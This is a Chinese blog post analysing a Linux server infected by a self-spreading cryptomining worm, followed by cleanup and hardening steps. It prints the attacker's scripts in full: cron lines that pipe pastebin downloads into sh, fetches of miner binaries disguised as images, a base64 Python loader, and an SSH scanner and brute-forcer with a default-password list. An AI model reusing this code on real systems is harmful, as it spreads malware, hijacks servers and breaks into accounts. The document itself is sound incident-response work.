服务器中病毒案例分析

在定时任务里面发现:

 

定时任务里,每30分钟就会下载并执行一次这个脚本 

 

为了搞清楚这个脚本具体做什么,在本地的测试机通过命令行执行如下:

复制代码
[root@test ~]# /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb
/usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/uuYVPLXd|/usr/bin/base64 -d|/bin/bash[root@test ~]# 
[root@test ~]# 
[root@test ~]# 
[root@test ~]# 
[root@test ~]# 
[root@test ~]# 
[root@test ~]# /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/uuYVPLXd|/usr/bin/base64 -d
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {
pkill -f sourplum  # pkill -f 这种方式是模糊匹配杀掉这个后面的字符串程序名进程,每次这么杀掉估计是为了怕定时任务会生产太多进程把服务器搞死,这样第一个可能是怕服务器管理员容易发现(阿里云服务器死了通常会给管理员发短信通知),第二个搞死了就没法执行病毒文件了
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg  # pkill 没加 -f 杀掉和后面字符串相关的程序名的进程
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
yum -y install lsof
lsof -i tcp:3333 | awk 'NR!=1 {print $2}' | xargs kill -9
lsof -i tcp:4444 | awk 'NR!=1 {print $2}' | xargs kill -9
lsof -i tcp:5555 | awk 'NR!=1 {print $2}' | xargs kill -9
lsof -i tcp:3347 | awk 'NR!=1 {print $2}' | xargs kill -9
lsof -i tcp:14444 | awk 'NR!=1 {print $2}' | xargs kill -9
}

function system() {
    if [ ! -f "/bin/httpdns" ]; then  # 如果这个脚本不存在就下载并给执行权限
        curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod +x /bin/httpdns
        if [ ! -f "/bin/httpdns" ]; then  # 如果上面用curl命令没下载成功,又尝试用wget下载,并加权限
            wget  https://pastebin.com/raw/698D7kZU -P /bin -O httpdns && chmod +x /bin/httpdns
        fi
            sed -i '$d' /etc/crontab && echo -e "\n0 */6 * * * root /bin/sh /bin/httpdns" >> /etc/crontab   # 追加入定时任务,每6分钟执行一次
    fi
}

function top() {
    rm -rf /usr/bin/top && ln /bin/ps /usr/bin/top  # 删掉top命令,并给ps命令做硬链接给top, 相当于执行top命令是就执行了ps命令
}

function python() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    touch /tmp/lockp  # 上面是把python脚本放到后台运行,这里创建锁文件,后面判断需要用
}

function echocron() {  # 每次执行的时候都会重新覆盖写入定时任务
    echo -e "*/10 * * * * root /bin/chmod 777 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/root  # 每10分钟就执行一次病毒脚本下载并执行
    echo -e "*/30 * * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/root  # 没30分钟执行一次病毒文件下载并执行
    mkdir -p /var/spool/cron/crontabs  # 另外存放一份定时任务
    echo -e "* */10 * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/crontabs/root
}

function downloadrun() {
    ps=$(ps aux | grep kworkerds | grep -v grep | wc -l)   # 获取病毒程序 kworkerds ,是不是在运行
    if [ ${ps} -eq 0 ];then  # 如果没有运行
        if [ ! -f "/tmp/kworkerds" ]; then  # 如果这个病毒程序文件不存在,则下载并加执行权限
            curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds
            if [ ! -f "/tmp/kworkerds" ]; then  # 如果curl命令没下载成功,尝试用wget下载
                wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -P /tmp -O kworkerds && chmod +x /tmp/kworkerds
            fi
                nohup /tmp/kworkerds >/dev/null 2>&1 &  # 下载完成后放在后台运行
        else
            nohup /tmp/kworkerds >/dev/null 2>&1 &   # 下载完成后放在后台运行
        fi
    fi
        rm -rf /tmp/kworkerds  # 删除病毒程序,所以有时想通过find找到病毒文件就不行了,因此还得看脚本具体做了些啥,才能根据这些做相应的处理
}

function downloadrunxm() {
    pm=$(ps aux | grep kworkerds | grep -v grep | wc -l) # 判断病毒程序是否在运行中
    if [ ${pm} -eq 0 ];then  # 如果没有
        if [ ! -f "/bin/config.json" ]; then  # 如果病毒程序的配置文件不存在,就下载并加执行权限
            curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod +x /bin/config.json
            if [ ! -f "/bin/config.json" ]; then  # 如果curl下载失败,尝试wget下载
                wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -P /bin -O config.json && chmod +x /bin/config.json
            fi
        fi
        if [ ! -f "/bin/kworkerds" ]; then  # 如果病毒程序文件不存在,就下载,这里是下载到/bin目录下
            curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod +x /bin/kworkerds
            if [ ! -f "/bin/kworkerds" ]; then  # 尝试wget下载
                wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -P /bin -O kworkerds && chmod +x /bin/kworkerds
            fi
                nohup /bin/kworkerds >/dev/null 2>&1 &  # 把病毒文件放在后台执行
        else
            nohup /bin/kworkerds >/dev/null 2>&1 &  # 把病毒文件放在后台执行
        fi
    fi
        rm -rf /bin/kworkerds /bin/config.json  # 启动完成后删掉病毒程序,以及病毒程序的配置文件
}

update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH )  # 检查病毒服务器那边的病毒脚本是否有更新,变化,没有更新这个结果就是 noupdate 有更新返回的是 update
if [ ${update}x = "update"x ];then  # 如果病毒脚本更新了,清理一波,然后重新加入定时任务,并重新从病毒服务器下载脚本执行
    rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds
    ps -ef |grep -v grep|grep "kworkerds" | awk '{print $2}' | sudo xargs kill
    ps -ef |grep -v grep|grep "sleep 601" | awk '{print $2}' | sudo xargs kill
    ps -ef |grep -v grep|grep "/usr/bin/curl.*pastebin" | awk '{print $2}' | sudo xargs kill
    echocron

else  # 如果没有变化,没更新
    if [ ! -f "/tmp/lockp" ]; then  # 如果这个锁文件不存在了
        rm -rf /tmp/lockl
        python  # 运行python探测脚本,端口扫描,尝试暴力破解
    fi
    kills  # 清理已启动的所有病毒进程
    downloadrun  # 下载并执行病毒程序
    downloadrunxm  # 下载病毒程序文件及病毒程序的配置文件
    px=$(ps aux | grep "sleep 601" | grep -v grep | wc -l)  # 获取sleep进程
    if [ ${px} -eq 0 ];then  # 如果没有sleep进程,可能这个病毒脚本没正常运行了,上面更新了
        while [ 1 ] # 进入死循环
        do
            whoami=$( whoami )  # 获取当前用户
            if [ ${whoami}x = "root"x ];then  # 如果当前用户是 root, 执行以下几个函数的内容
                echocron
                system
                top
            fi
            pc=$(ps aux | grep kworkerds | grep -v grep | wc -l)  # 获取病毒文件是否在运行
            if [ ${pc} -eq 0 ];then  # 如果没有
                kills  # 清理之前的病毒进程
                downloadrun  # 下载并执行
                downloadrunxm  # 下载病毒程序的配置文件
            fi
            sleep 601  # 每10分钟在循环检查执行这个死循环里面函数的内容
        done
    else  # 如果当前sleep进程在运行中,说明各病毒脚本及病毒程序再运行中,退出脚本,等下一次定时任务来触发检测,执行这个病毒脚本
        exit
    fi
fi
#
#
#[root@test ~]# 
[root@test ~]# 
[root@test ~]# 
复制代码

 

 

上面脚本 httpdns脚本的内容

curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o /bin/httpdns
复制代码
[root@test a]# curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o httpdns
[root@test a]# ls
config.json  httpdns  kworkerds
[root@test a]# cat httpdns 
/usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d|/bin/bash[root@test a]# 
[root@test a]# /usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function downloadrun() {
    ps=$(ps aux | grep kworkerds | grep -v grep | wc -l)
    if [ ${ps} -eq 0 ];then
        if [ ! -f "/tmp/kworkerds" ]; then  # 这里把病毒文件下载到/tmp目录下,就算删除了病毒文件,杀了一个病毒进程,又从另外一个地方启动了病毒文件进程
            curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds
            if [ ! -f "/tmp/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -P /tmp -O kworkerds && chmod +x /tmp/kworkerds
            fi
                nohup /tmp/kworkerds >/dev/null 2>&1 &
        else
            nohup /tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
        rm -rf /tmp/kworkerds
}

function downloadrunxm() {
    pm=$(ps aux | grep kworkerds | grep -v grep | wc -l)
    if [ ${pm} -eq 0 ];then
        if [ ! -f "/bin/config.json" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod +x /bin/config.json
            if [ ! -f "/bin/config.json" ]; then
                wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -P /bin -O config.json && chmod +x /bin/config.json
            fi
        fi
        if [ ! -f "/bin/kworkerds" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod +x /bin/kworkerds
            if [ ! -f "/bin/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -P /bin -O kworkerds && chmod +x /bin/kworkerds
            fi
                nohup /bin/kworkerds >/dev/null 2>&1 &
        else
            nohup /bin/kworkerds >/dev/null 2>&1 &
        fi
    fi
        rm -rf /bin/kworkerds /bin/config.json
}

function init() {
    if [ ! -f "/usr/sbin/kworker" ]; then   # 这个二进制文件下载到 /usr/sbin/目录下 并加入执行权限
        curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -o /usr/sbin/kworker && chmod 777 /usr/sbin/kworker
        if [ ! -f "/usr/sbin/kworker" ]; then
            wget http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -P /usr/sbin -O kworker && chmod 777 /usr/sbin/kworker
        fi
    fi
    if [ ! -f "/etc/init.d/kworker" ]; then
        curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175343x-1566657675.jpg -o /etc/init.d/kworker && chmod 777 /etc/init.d/kworker
        if [ ! -f "/etc/init.d/kworker" ]; then
            wget http://thyrsi.com/t6/362/1535175343x-1566657675.jpg -P /etc/init.d -O kworker && chmod 777 /etc/init.d/kworker
        fi
    fi
    chkconfig --add kworker   # 加入开机自启动,就算重启也还是会运行
}

function echocron() {
    echo -e "*/10 * * * * root /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /etc/cron.d/root
    echo -e "*/30 * * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "* */10 * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n##" > /var/spool/cron/crontabs/root
}


update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/C4ZhQFrH )
if [ ${update}x = "update"x ];then
    rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds
    ps -ef |grep -v grep|grep "kworkerds" | awk '{print $2}' | sudo xargs kill
    ps -ef |grep -v grep|grep "sleep 601" | awk '{print $2}' | sudo xargs kill
    ps -ef |grep -v grep|grep "/usr/bin/curl.*pastebin" | awk '{print $2}' | sudo xargs kill
    echocron

else
    whoami=$( whoami )
    if [ ${whoami}x = "root"x ];then
        init
        echocron
    fi
    downloadrun
    downloadrunxm
    pl=$(ps aux | grep kworkerds | grep -v grep | wc -l)
    if [ ${pl} -eq 0 ];then
        downloadrun
        downloadrunxm
    fi
fi
#[root@test a]#
复制代码

 

初始化函数里面的病毒文件

[root@test a]# curl -fsSL --connect-timeout 120 http://thyrsi.com/t6/362/1535175015x-1404817880.jpg -o kworker
[root@test a]# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[root@test a]# ls
config.json  httpdns  kworker  kworkerds
[root@test a]#

 

 

上面脚本中 python脚本内容,分解在linux 命令执行解析,看具体是什么内容

python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))"


复制代码
[root@test a]# python
Python 2.6.6 (r266:84292, Aug 18 2016, 15:13:37) 
[GCC 4.4.7 20120313 (Red Hat 4.4.7-17)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> 
>>> import base64
>>> base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz')
"#coding: utf-8\nimport urllib\nimport base64\n\nd= 'https://pastebin.com/raw/nYBpuAxT'\ntry:\n    page=base64.b64decode(urllib.urlopen(d).read())\n    exec(page)\nexcept:\n    pass"
>>> 
>>> python_script = base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz')
>>> 
>>> print python_script
#coding: utf-8
import urllib
import base64

d= 'https://pastebin.com/raw/nYBpuAxT'
try:
    page=base64.b64decode(urllib.urlopen(d).read())
    exec(page)
except:
    pass
>>> 
>>> 
>>> 
>>> 
>>> import urllib, base64
>>> 
>>> d = 'https://pastebin.com/raw/nYBpuAxT'
>>> page=base64.b64decode(urllib.urlopen(d).read())
>>> print page
#! /usr/bin/env python
#coding: utf-8

import threading
from socket import *
from paramiko import *
from re import findall
import os

IP_LIST = []
OPEN_IP_LIST = []

class scanner(threading.Thread):   # 继承多线程类
    tlist = []   # 初始化任务列表
    maxthreads = 100   # 最大起100个线程来扫描端口
    evnt = threading.Event()  # 实例化事件对象
    lck = threading.Lock()   # 实例化锁,避免数据争用

    def __init__(self,host,port):   # 会从scaner.newthread()传递过来
        threading.Thread.__init__(self)
        self.host = host
        self.port = port

    def run(self):
        try:
            connSkt = socket(AF_INET, SOCK_STREAM)
            setdefaulttimeout(2)
            connSkt.connect((self.host, self.port))
            connSkt.send('google spider\r\n')
            results = connSkt.recv(20)  # 接收20byte
            connSkt.close()  # 关闭连接对象
            if str(results):   # 如果有相应结果就加入到 可以打开的主机 列表
                OPEN_IP_LIST.append(self.host)
        except Exception:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host,port):
        scanner.lck.acquire()
        sc = scanner(host,port)  # 实例化扫描对象
        scanner.tlist.append(sc)  # 加入对象列表
        scanner.lck.release()
        sc.start()  # 启动扫描,本质就是执行上面方法 run()

    newthread = staticmethod(newthread)  # 实例化工具类

class sshbrute(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host,user,password):
        threading.Thread.__init__(self)
        self.ip = host
        self.user = user
        self.password = password

    def run(self):
        try:
            ssh = SSHClient()
            ssh.set_missing_host_key_policy(AutoAddPolicy())
            ssh.connect(hostname=self.ip, port=22, username=self.user, password=self.password, timeout=5)  # 尝试密码猜测连接
            ssh.exec_command('chmod 777 /usr/bin/curl')  # 如果连接成功,加curl命令权限,后面会用到这个命令去下载病毒文件,及病毒执行脚本
            ssh.exec_command('sed -i \'$d\' /etc/resolv.conf && echo "nameserver 8.8.8.8">>/etc/resolv.conf')  # 把谷歌的dns解析地址作为默认的dns解析地址,这么做主要是为了shell脚本中的 httpdns,避免中间解析优化的问题
            ssh.exec_command('echo -e "*/10 * * * * root /usr/bin/curl https://pastebin.com/raw/xbY7p5Tb|sh\\n##" > /etc/cron.d/root')  # 加入定时任务,下载并执行病毒脚本,成功后的那些机器也会运行同样的脚本,感染更多机器执行病毒程序
            ssh.exec_command('service crond restart')  # 重启定时任务让上面的生效
            ssh.exec_command('service network restart')  # 由于启用了大量的连接,需要网络服务来支持,怕搞死网络服务,重启在继续执行
            ssh.close()
        except Exception as e:
            pass
        sshbrute.lck.acquire()
        sshbrute.tlist.remove(self)
        if len(sshbrute.tlist) < sshbrute.maxthreads:
            sshbrute.evnt.set()
            sshbrute.evnt.clear()
            sshbrute.lck.release()

    def newthread(host,user,password):
        sshbrute.lck.acquire()
        sc = sshbrute(host,user,password)
        sshbrute.tlist.append(sc)
        sshbrute.lck.release()
        sc.start()  # 执行上面 run()方法的内容

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        ip1 = os.popen(
            "/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()  # 获取当前服务器IP地址
        ips1 = findall(r'\d+.\d+.', ip1)[0]  # 获取这个IP地址的网络地址16位
        for i in range(1, 255):  # 第一个for循环拼接第三段主机地址
            ip_list1 = (ips1 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list1 + '.' + (str(g)))  # 第二个for循环在前面的基础上拼接最后的主机地址以形成完整的地址,并追加到等待扫描的 IP地址列表
    except Exception:
        pass

def runPortscan(port):
    get_ip_list()
    for host in IP_LIST:  # 从拼接的带扫描的地址列表中取出IP
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:  # 检查是已启动的进程数是否超过最大的进程数
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host,port)  # 传递给 扫描类执行扫描,每个主机加22端口为一个扫描任务
    for t in scanner.tlist:
        t.join()  # 等待当前这一波任务完成

def runsshbrute(OPEN_IP_LIST):
    for host in OPEN_IP_LIST:  # 从已经探测为有效的主机列表中分别执行密码猜测
        accounts = [('root', '123456'), ('root', 'password'), ('root', '12345'), ('root', '1234'), ('root', 'root'),
                    ('root', '123'), ('root', 'qwerty'), ('root', 'test'), ('root', '1q2w3e4r'), ('root', '1qaz2wsx'),
                    ('root', 'qazwsx'), ('root', '123qwe'), ('root', '12'), ('root', '123qaz'), ('root', '0000'),
                    ('root', 'oracle'), ('root', '1234567'), ('root', '123456qwerty'), ('root', 'password123'),
                    ('root', '12345678'), ('root', '1q2w3e'), ('root', 'abc123'), ('root', 'okmnji'),
                    ('root', 'test123'), ('root', '123456789'), ('root', 'postgres'), ('root', 'q1w2e3r4'),
                    ('root', 'redhat'), ('root', 'user'), ('mysql', 'mysql'), ('oracle', 'oracle'),
                    ('apache', 'apache'), ('test', 'test'), ('www', 'www'), ('ftp', 'ftp')]
# 常用的账号,密码
for user, password in accounts: sshbrute.lck.acquire() if len(sshbrute.tlist) >= sshbrute.maxthreads: sshbrute.lck.release() sshbrute.evnt.wait() else: sshbrute.lck.release() sshbrute.newthread(host,user,password) # 把拿到的主机, 这里的用户名,密码传递给这个类去尝试密码猜测连接 for t in sshbrute.tlist: t.join() # 等待这100个任务执行完成 if __name__ == "__main__": runPortscan(22) # 默认扫描 22 号端口, 这一步执行完就是为了得到有效的主机地址且22端口是开通的 runsshbrute(OPEN_IP_LIST) # 如果能连接,就把源病毒信息嵌入,感染每台密码猜测成功的主机,并放入定时任务 >>>
复制代码

 

 

病毒进程运行时cpu利用率:

 

 通过clamscan病毒工具扫描这个病毒文件:

 

 分析现状:

  1、从上面的top输出中,明显可以看到是以root用户,服务器已经被rootKit,攻击者可以为所欲为,畅通无阻!

  2、top命令还被改了,这只是从脚本里面体现出来的,攻击者既然知道root密码,很可能很多命令,其他数据都被替换过,例如此次在排查的过程中 rm,chmod,touch命令已经不可用

  3、通常攻击者启动的进程方式会有很多种,不会只是杀掉病毒进程一次就没有了,因此还是要找到病毒程序的来源,以及如何启动,擒贼也要擒王。

    通过上面的脚本中看到涉及到的操作大概有:

复制代码
rm -fr /tmp/ddg*
rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon
rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270


rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq


/bin/httpdns
/etc/crontab
rm -rf /usr/bin/top && ln /bin/ps /usr/bin/top 
touch /tmp/lockp

/etc/cron.d/root
/var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
/var/spool/cron/crontabs/root

/tmp/kworkerds
/bin/config.json

nohup /bin/kworkerds >/dev/null 2>&1 &

rm -rf /tmp/lockl

rm -rf /bin/kworkerds /bin/config.json

/usr/sbin/kworker

chkconfig --add kworker
rm -rf /tmp/lock /tmp/locka /bin/kworkerds /bin/config.json /tmp/kworkerds

chmod 777 /usr/bin/curl
sed -i \'$d\' /etc/resolv.conf && echo "nameserver 8.8.8.8">>/etc/resolv.conf

/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"
复制代码

 

  4、由于常用的 top, htop, iftop, ps, chmod, chown 等系统命令可能已经被替换, 最好在没问题的服务器上复制一份同系统版本的这些命令,以便以排查及处理

  5、上面的python脚本任务主要就是开启多线程 ,获取本机的网络地址,然后批量端口扫描,扫描成功的记录下来,然后用猜密码的方式进行尝试,如果猜测成功,则放入定时任务,下载病毒脚本并执行,就这样一直不断循环尝试登录,感染更多的机器。

 

处理步骤(先后顺序很重要):

  1、第一步就是改服务器的密码,避免攻击者可以登录做进一步操作

  2、这个病毒脚本每次都会被定时任务启动,因此先找到 /etc/cron.d/* 、/var/spool/cron/* 、/etc/crontab  有异常的定时任务,并删除,如果chmod,wget,chaddr命令可用,

      应该先把curl,wget命令的执行权限去掉,避免病毒程序执行从远程下载脚本

  3、病毒程序,病毒脚本的内容在运行,里面的逻辑会定时检查病毒程序是否运行,如果没运行,会启动病毒脚本,病毒程序,或去病毒服务器下载病毒脚本并执行,杀掉脚本里面相关启动的病毒程序或通过top命令看到的异常进程

  4、第2步运行中的程序要执行脚本,病毒程序,还得找到病毒程序文件才行,因此紧接着删除上面相关的病毒程序,把脚本里面要用到的目录清理后然后暂时加锁 chattr -i 目录

  5、经过前4步骤的处理,此时应该没什么病毒进程在运行了,(如果还有,尝试用find 命令找到运行中病毒程序的文件并删除)因此开始做清理工作,上面脚本有加入开机自启动程序,检查/etc/init.d/* 的启动脚本或程序,/etc/rc.local 等,如果有异常的删除之

  6、攻击者都是以root账户执行的程序,可能有很多未发现的隐蔽问题没体现出来,病毒脚本暴露的内容只是有限度的,不能保证就没问题了,因此可以下载病毒扫描检测工具clamscan进行扫描(上面绿色字体图片),使用前要下载病毒库更新工具freshclam,更新病毒库。

  7、由于有第6的问题,因此,最好还是重装系统,然后做好安全优化,包括但不限于如修改sshd服务的默认端口,密码错误3次锁定,来源IP地址限制,连接使用秘钥登录,root密码18位(特殊字符 + 大小写字母 + 数字)等

 

 

小结:

  一般服务器中病毒都会有定时任务,开机自启动,流量异常,负载高,cpu利用率高,杀掉进程又启动等现象,找到源头,分析,才能解决问题。

 

posted @   某某7  阅读(489)  评论(0编辑  收藏  举报
(评论功能已被禁用)
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
点击右上角即可分享
微信分享提示